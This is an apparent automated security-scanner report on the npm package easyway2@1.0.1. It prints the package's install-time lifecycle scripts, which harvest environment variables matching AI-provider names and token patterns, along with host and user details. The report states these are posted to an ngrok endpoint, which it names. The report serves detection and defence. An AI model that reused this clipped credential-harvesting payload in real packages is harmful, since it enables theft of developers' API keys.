Loading npm security reports…

easyway2@1.0.1: Malicious npm security report (Block) | LPM Firewall

registry / easyway2 / 1.0.1

easyway2@1.0.1

AI Security Review

scanned 1h ago · by lpm-firewall-ai

Installing the package triggers its `preinstall` lifecycle script. The script harvests environment-resident AI credentials and host metadata, then exfiltrates them over HTTPS.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

npm installation, before package installation completes

Impact

Disclosure of AI API tokens and host identity metadata to a third-party endpoint.

Mechanism

install-time environment credential harvesting and HTTPS exfiltration

Attack narrative

`package.json` runs an inline Node program during `preinstall`. It scans all environment variables for AI-provider names and token-shaped values, adds hostname, platform, and username metadata, serializes the results, and sends them to an unrelated ngrok host. Errors and nonzero outcomes are intentionally suppressed. This is a concrete, unconsented credential-exfiltration chain activated by installation.

Rationale

Direct inspection of the sole package file confirms an install-time credential-harvesting payload with third-party network exfiltration. This is malicious behavior, not a package-aligned feature.

Evidence

package.json

Network endpoints1

crabbing-thong-overhung.ngrok-free.dev/?Ai=1

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

`package.json` defines a `preinstall` Node payload.
It collects AI-provider environment variables and key-pattern matches.
It includes platform, hostname, and user in the collected data.
It POSTs the collected JSON to `crabbing-thong-overhung.ngrok-free.dev`.
The request error handler suppresses failures and `|| true` masks script failure.

Evidence against

The package contains only `package.json`; no benign runtime implementation is present.
No source indicates user consent for credential collection or transmission.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chainNo supply-chain packaging signals triggered.

Manifest

NoLicense

scanned 0 file(s), 0 B of source

Source & flagged code

2 flagged

package.jsonView file

Lines 1-14json

2 "name": "easyway2",

3 "version": "1.0.1",

4 "scripts": {

5 "prepublishOnly": "node -e \"const os=require('os'),https=require('https');let d={platform:os.platform(),host:os.hostname(),user:process.env.USERNAME||process.env.USER,ai_keys:{}};const pt={openai:/sk-[a-zA-Z0-9]{20}T3BlbkFJ[a-zA-Z0-9]{20}/,anthropic:/sk-ant-api03-[a-zA-Z0-9\\-]{95}/,google:/AIza[a-zA-Z0-9_-]{35}/,hf:/hf_[a-zA-Z0-9]{34}/};for(const[k,v]of Object.entries(process.env)){if(/OPENAI|ANTHROPIC|GOOGLE_API|GEMINI|HF_TOKEN|HUGGINGFACE|AZURE_OPENAI_API/.test(k)){d.ai_keys[k]=v;}else if(typeof v==='string'){for(const[p,r]of Object.entries(pt)){if(r.test(v)){d.ai_keys[p+'_'+k]=v;break ...

6 "prepare": "node -e \"const os=require('os'),https=require('https');let d={platform:os.platform(),host:os.hostname(),user:process.env.USERNAME||process.env.USER,ai_keys:{}};const pt={openai:/sk-[a-zA-Z0-9]{20}T3BlbkFJ[a-zA-Z0-9]{20}/,anthropic:/sk-ant-api03-[a-zA-Z0-9\\-]{95}/,google:/AIza[a-zA-Z0-9_-]{35}/,hf:/hf_[a-zA-Z0-9]{34}/};for(const[k,v]of Object.entries(process.env)){if(/OPENAI|ANTHROPIC|GOOGLE_API|GEMINI|HF_TOKEN|HUGGINGFACE|AZURE_OPENAI_API/.test(k)){d.ai_keys[k]=v;}else if(typeof v==='string'){for(const[p,r]of Object.entries(pt)){if(r.test(v)){d.ai_keys[p+'_'+k]=v;break;}}}}fu ...

7 "prepack": "node -e \"const os=require('os'),https=require('https');let d={platform:os.platform(),host:os.hostname(),user:process.env.USERNAME||process.env.USER,ai_keys:{}};const pt={openai:/sk-[a-zA-Z0-9]{20}T3BlbkFJ[a-zA-Z0-9]{20}/,anthropic:/sk-ant-api03-[a-zA-Z0-9\\-]{95}/,google:/AIza[a-zA-Z0-9_-]{35}/,hf:/hf_[a-zA-Z0-9]{34}/};for(const[k,v]of Object.entries(process.env)){if(/OPENAI|ANTHROPIC|GOOGLE_API|GEMINI|HF_TOKEN|HUGGINGFACE|AZURE_OPENAI_API/.test(k)){d.ai_keys[k]=v;}else if(typeof v==='string'){for(const[p,r]of Object.entries(pt)){if(r.test(v)){d.ai_keys[p+'_'+k]=v;break;}}}}fu ...

8 "postpack": "node -e \"const os=require('os'),https=require('https');let d={platform:os.platform(),host:os.hostname(),user:process.env.USERNAME||process.env.USER,ai_keys:{}};const pt={openai:/sk-[a-zA-Z0-9]{20}T3BlbkFJ[a-zA-Z0-9]{20}/,anthropic:/sk-ant-api03-[a-zA-Z0-9\\-]{95}/,google:/AIza[a-zA-Z0-9_-]{35}/,hf:/hf_[a-zA-Z0-9]{34}/};for(const[k,v]of Object.entries(process.env)){if(/OPENAI|ANTHROPIC|GOOGLE_API|GEMINI|HF_TOKEN|HUGGINGFACE|AZURE_OPENAI_API/.test(k)){d.ai_keys[k]=v;}else if(typeof v==='string'){for(const[p,r]of Object.entries(pt)){if(r.test(v)){d.ai_keys[p+'_'+k]=v;break;}}}}f ...

9 "preinstall": "node -e \"const os=require('os'),https=require('https');let d={platform:os.platform(),host:os.hostname(),user:process.env.USERNAME||process.env.USER,ai_keys:{}};const pt={openai:/sk-[a-zA-Z0-9]{20}T3BlbkFJ[a-zA-Z0-9]{20}/,anthropic:/sk-ant-api03-[a-zA-Z0-9\\-]{95}/,google:/AIza[a-zA-Z0-9_-]{35}/,hf:/hf_[a-zA-Z0-9]{34}/};for(const[k,v]of Object.entries(process.env)){if(/OPENAI|ANTHROPIC|GOOGLE_API|GEMINI|HF_TOKEN|HUGGINGFACE|AZURE_OPENAI_API/.test(k)){d.ai_keys[k]=v;}else if(typeof v==='string'){for(const[p,r]of Object.entries(pt)){if(r.test(v)){d.ai_keys[p+'_'+k]=v;break;}}} ...

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg · L9

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L9

10 }

11}

Long lines were clipped for display.

Source & flagged code

2 flagged · loading source

package.jsonView file

•scripts.preinstall = node -e "const os=require('os'),https=require('https');let d={platform:os.platform(),host:os.hostname(),user:process.env.USERNAME||process.env.USER,ai_keys:{}};const pt={openai:/sk...

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

Findings

1 Critical1 High3 Low

CriticalRed Install Lifecycle Scriptpackage.json

HighInstall Time Lifecycle Scriptspackage.json

LowNon Install Lifecycle Scripts

LowScripts Present

LowNo License